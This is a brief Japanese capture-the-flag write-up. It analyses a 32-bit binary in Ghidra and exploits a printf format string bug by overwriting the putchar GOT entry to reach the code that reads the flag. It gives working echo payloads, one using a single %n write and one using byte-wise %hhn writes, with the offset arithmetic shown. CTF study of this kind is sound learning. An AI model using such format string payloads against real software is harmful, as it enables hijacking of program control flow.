ghidra でリバースエンジしてみる。
puts("What\'s your name?");
fgets(local_418,0x400,stdin);
printf("Hi, ");
printf(local_418);
putchar(10);
local_18 = 1;
while( true ) {
if (local_18 == 0) {
local_14 = fopen("flag.txt","r");
local_18 に 1 が代入されてるがここが 0 にならないとフラグを取れない。
何とか fopen のところに飛ばさないと行けないことがわかる。バッファオーバーフローは出来なそう。
fgets で標準入力を local_418 に渡し、それを printf で出力していることがわかる。この箇所で書式文字列攻撃ができる。
putchar の got.plt のアドレス (0x080499e0) に書かれたアドレスを、fopen の始まる 0x08048691 に書き換える。
まず標準入力で ABCD_%p_%p_%p_%p_%p_%p_%p_%p と適当に入力すると 6 個目の %p に 0x44434241 (リトルエンディアンで ABCD) の並びが見える。
なので 書き込み先のアドレスを先頭に書き、必要な文字数で埋めて 6$n で書き込むのだ。0x08048691 を 10 進数にすると 134514321 だが、\xe0\x99\x04\x08 が 4 文字分なので 4 を引く。
echo -e "\xe0\x99\x04\x08%134514317c%6\$n" | ./q4
これだと結構時間がかかる (134514317 個分のスペースを出力する) ので省エネバージョン。
32 bit プログラムでありアドレス幅は 4 bytes であることに注意し、
0x91 = 145 ⇒ 145 – 16 = 129
0x86 = 134 ⇒ 134 – 145 + 256 = 245
0x04 = 4 ⇒ 4 – 134 + 256 = 126
0x08 = 8 ⇒ 8 – 4 = 4
echo -e "\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6\$hhn%245c%7\$hhn%126c%8\$hhn%4c%9\$hhn" | ./q4
なお、putchar ではなく put (got.plt = 0x80499f4) でも行ける模様。